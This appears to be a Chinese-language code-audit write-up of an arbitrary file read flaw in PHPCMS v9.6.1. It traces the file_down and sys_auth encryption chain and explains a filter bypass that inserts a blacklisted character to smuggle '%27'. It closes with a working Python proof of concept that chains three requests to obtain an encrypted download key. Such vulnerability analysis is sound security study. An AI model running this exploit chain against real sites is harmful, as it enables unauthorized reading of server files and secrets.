【漏洞分析】PHPCMS v9.6.1任意文件讀取漏洞

0x01 漏洞分析

首先本次漏洞的問題函數(shù)不在于某一處函數(shù)或者語句,而是在與多方面的因素共同作用,最終可以進行繞過從而進行任意文件讀取。
在phpcms中,有一個file_down函數(shù)用來下載文件的,該函數(shù)位于/phpcms/libs/functions/global.func.php

該函數(shù)就是一個正常的文件下載的函數(shù),而調(diào)用這個函數(shù)的地方位于phpcms\modules\content\down.php

這里我們從下往上分析,首先調(diào)用file_down函數(shù)的fileurl參數(shù)中的<>被替換成空,往上看發(fā)現(xiàn)fileurl是當(dāng)變量m存在時,變量s與之前的fileurl進行拼接而來的,再往上看發(fā)現(xiàn)之前的fileurl是變量f,因此我們要下載的文件參數(shù)是通過變量s和變量f拼接而來的!繼續(xù)向上看,發(fā)現(xiàn)有一個parse_str($a_k),因此變量s和變量f是通過parse_str解析a_k變量來的,而a_k變量是通過get方式接收的,因此可控!所以就有風(fēng)險了。

不過我們能夠發(fā)現(xiàn),變量a_k在傳進來之后,被傳入到了一個sys_auth函數(shù)重新賦值了,這個函數(shù)是phpcms中一個用來加解密的函數(shù),位于/phpcms/libs/functions/global.func.php

這里通過pc_auth_key變量的密鑰進行解密。

到目前為止我們需要的是一個使用pc_auth_key密鑰,通過sys_auth函數(shù)加密過的a_k變量,并且其中的s和f變量是我們可控的,從而才能通過解析出來后拼接,然后帶入到file_down函數(shù)下載任意文件。

幸運的是,就在down.php中的init函數(shù)可以滿足這個條件

可以看到在init函數(shù)的后邊,就有一個將a_k變量同pc_auth_key進行加密,并且之后傳入了download函數(shù)

            $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
            $a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));
            $downurl = '?m=content&c=down&a=download&a_k='.$a_k;

然后我們來從頭看一下init函數(shù)。
首先通過get方式接受參數(shù)a_k,然后將這個a_k變量進行解密,然后通過safe_replace函數(shù)進行過濾,然后通過parse_str進行解析,從而得到了s變量和f變量。
所以這一階段我們就需要一個加密過的a_k然后傳給init函數(shù)。
這里用到了之前phpcms的一個sql注入的利用方式,在位于/phpcms/modules/attachment/attachments.php 的swfupload_json()函數(shù),代碼如下:

這里主要看一下src參數(shù),這里src參數(shù)通過get方式接收之后用trim函數(shù)去除首尾的空白符,然后通過過safe_replace函數(shù)進行過濾,之后通過arr數(shù)組進行json編碼,后面出入到了set_cookie函數(shù)中,而這個函數(shù)位于/phpcms/libs/classes/param.class.php,代碼如下:

可以看到進入后會通過for循環(huán)遍歷數(shù)組,然后src的值會被sys_auth加密!
現(xiàn)在我們可以回過頭看一下之前一直被提到的safe_replace函數(shù)的作用吧,代碼位于/phpcms/libs/functions/global.func.php,代碼如下:

發(fā)現(xiàn)是將敏感符號替換為空,這個繞過就很好繞過了,比如當(dāng)我們想輸入單引號的時候%27,我們只要在其中加入一個位于黑名單的符號就可以了,比如%2;7,分號會被檢測到然后替換成空,剩下了%27即為單引號了。

既然剛才在swfupload_json函數(shù)中找到了我們想要的結(jié)果,那么我們就看一下attachments類的構(gòu)造函數(shù),看看調(diào)用這個swfuplaod_json函數(shù)需要什么條件吧

函數(shù)最下面如果userid為空,會調(diào)用showmessage函數(shù),那樣程序會被中斷的,因此就必須要userid有數(shù)據(jù),那么往上看

$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));

上述語句是關(guān)鍵
以seesion方式接收userid參數(shù),當(dāng)$_SESSION['userid']有數(shù)據(jù)時,返回$_SESSION['userid'],當(dāng)為空時,進行判斷:
靜態(tài)調(diào)用param類的get_cookie函數(shù),并給該函數(shù)傳遞_userid字符串,如果返回不為空執(zhí)行param::get_cookie('_userid'),如果為空就執(zhí)行sys_auth($_POST['userid_flash'],'DECODE'))
sys_auth函數(shù)在這里進行解密操作,將用post方式接收到的userid_flash參數(shù)值,放進sys_auth函數(shù)進行解密
session實在服務(wù)器端生成的,在不能登錄的情況下,session中的userid是空的,因此就會執(zhí)行g(shù)et_cookie函數(shù),該函數(shù)代碼如下

其中有sys_auth的解密操作,而如果get_cookie沒結(jié)果也得DECODE,所以說這里decode是一個必須的操作,不過好消息是decode的目標是我們可以控制的,要么是cookie中的cookie_pre_userid,要么是post過去的userid_flash參數(shù)
這里以cookie為例,如果我們需要一個通過set_cookie的加密過的cookie,讓它傳送到這里,然后就可以通過get_cookie進行解密,從而繞過這里的限制

這里用wap模塊的一個地方,代碼位于/phpcms/modules/wap/index.php

通過第9行調(diào)用set_cookie函數(shù),就可以生成一個加密好的cookie了。

0x02 總線

這次漏洞分析大概就是以尋找加密解密來進行分析的,總結(jié)了一下流程,如下

至此分析結(jié)束,下面設(shè)計一下poc

0x03 POC

import requests

url_1 = "http://127.0.0.1:8080/code_audit/phpcmsv9.6.1/install_package/index.php?m=wap&c=index&a=init&siteid=1"


r_g = requests.get(url_1)
for cookie in r_g.cookies:
    if '_siteid' in cookie.name:
        userid = cookie.value
        print "siteid: " + userid + "\n"

url_2 = "http://127.0.0.1:8080/code_audit/phpcmsv9.6.1/install_package/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=pad%3Dx%26i%3D1%26modelid%3D1%26catid%3D1%26d%3D1%26m%3D1%26s%3Dindex%26f%3D.p%25253chp"
# ?m=attachment&c=attachments&a=swfupload_json&aid=1&src=pad=x&i=1&modelid=1&catid=1&d=1&m=1&s=index&f=.p%253chp

data_1 = {'userid_flash': userid}
r_p = requests.post(url = url_2, data= data_1)

for cookie in r_p.cookies:
    if '_att_json' in cookie.name:
        att_json = cookie.value
        print "att_json: " + att_json + "\n"

key = "http://127.0.0.1:8080/code_audit/phpcmsv9.6.1/install_package/index.php?m=content&c=down&a=init&a_k=" + att_json
print key

0x04 演示

運行腳本

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容